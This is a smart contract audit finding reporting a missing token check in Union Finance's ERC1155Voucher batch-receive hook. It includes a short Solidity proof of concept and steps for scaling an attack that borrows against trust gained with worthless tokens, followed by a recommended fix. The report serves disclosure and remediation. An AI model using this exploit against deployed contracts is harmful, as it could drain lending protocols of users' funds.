Glorious Licorice Buffalo

High

# Arbitrary ERC1155 Token Transfer Grants Unintended Trust in ERC1155Voucher Contract

## Summary

The ERC1155Voucher contract currently allows anyone to gain unintended trust by transferring arbitrary ERC1155 tokens. This vulnerability stems from the lack of proper token validation in the onERC1155BatchReceived function, enabling malicious actors to exploit the system's trust mechanism and potentially borrow assets.

## Vulnerability Detail

The ERC1155Voucher contract is designed to grant trust based on the ownership of specific ERC1155 tokens. However, the [onERC1155BatchReceived function](https://github.com/sherlock-audit/2024-06-union-finance-update-2/blob/7ffe43f68a1b8e8de1dfd9de5a4d89c90fd6f710/union-v2-contracts/contracts/peripheral/ERC1155Voucher.sol#L121-L130) lacks the necessary token validation checks present in the onERC1155Received function. This oversight allows any ERC1155 token to be used to gain trust, regardless of its validity within the system.

The vulnerable code in the ERC1155Voucher contract:

```solidity
    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4) { // no check to stop invalid 1155s from granting trust
        _vouchFor(from);
        return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"));
    }
```

This function should check if the incoming token is valid, similar to the onERC1155Received function:

```solidity
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
>>      require(isValidToken[msg.sender], "!valid token");
        _vouchFor(from);
        return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
    }
```

### Proof of Concept

```solidity
// Attacker creates an arbitrary ERC1155 token
ERC1155 maliciousToken = new ERC1155("https://fake-token-uri.com/{id}");

// Attacker mints a single token
maliciousToken.mint(attacker, 1, 1, "");

// Prepare for batch transfer
uint256[] memory ids = new uint256[](1);
ids[0] = 1;
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1;

// Transfer the token to ERC1155Voucher using safeBatchTransferFrom
maliciousToken.safeBatchTransferFrom(attacker, address(erc1155Voucher), ids, amounts, "");

// Attacker now has unintended trust in the system
uint256 trust = userManager.getVouchingAmount(address(erc1155Voucher), attacker);

// Attacker can now potentially borrow assets
uToken.borrow(attacker, trust);
```

The proof of concept shows a single transfer but the attack could be scaled by:
1. minting a large number of worthless ERC1155 tokens 
2.  transferring one to each of many separate addresses controlled by the attacker
3. directing each address to send the 1155 to ERC1155Voucher using safeBatchTransferFrom


## Impact

The absence of proper token validation in the onERC1155BatchReceived function compromises the integrity of the ERC1155Voucher contract's trust allocation mechanism. Primarily by allowing worthless ERC1155 tokens to grant trust which has value within the system.

Attackers can exploit this to bypass the intended trust granting process, gaining unearned trust within the system without possessing the specifically approved ERC1155 tokens. With ill-gotten trust, malicious actors can potentially access the borrowing features of the protocol, putting the system's assets at risk. The system may approve loans based on this invalid trust, exposing the protocol to financial losses.

Another less likely but unintended impact of this lack of token validation is that any ERC1155 token received by batch transfer will be permanently locked in the contract. This is because the contract has no way to transfer out received ERC1155 tokens.  

## Code Snippet

https://github.com/sherlock-audit/2024-06-union-finance-update-2/blob/7ffe43f68a1b8e8de1dfd9de5a4d89c90fd6f710/union-v2-contracts/contracts/peripheral/ERC1155Voucher.sol#L121-L130

## Tool used

Manual Review

## Recommendation

To fix this vulnerability, implement proper token validation in the onERC1155BatchReceived function.

The following modification ensures that only valid tokens will be able to grant trust within the system, it also prevents ERC1155 tokens the ERC1155Voucher is not designed to handle from becoming permanently locked in the contract.

```solidity
function onERC1155BatchReceived(
    address operator,
    address from,
    uint256[] calldata ids,
    uint256[] calldata values,
    bytes calldata data
) external returns (bytes4) {
    require(isValidToken[msg.sender], "!valid token");
    for (uint i = 0; i < ids.length; i++) {
        _vouchFor(from);
    }
    return this.onERC1155BatchReceived.selector;
}
```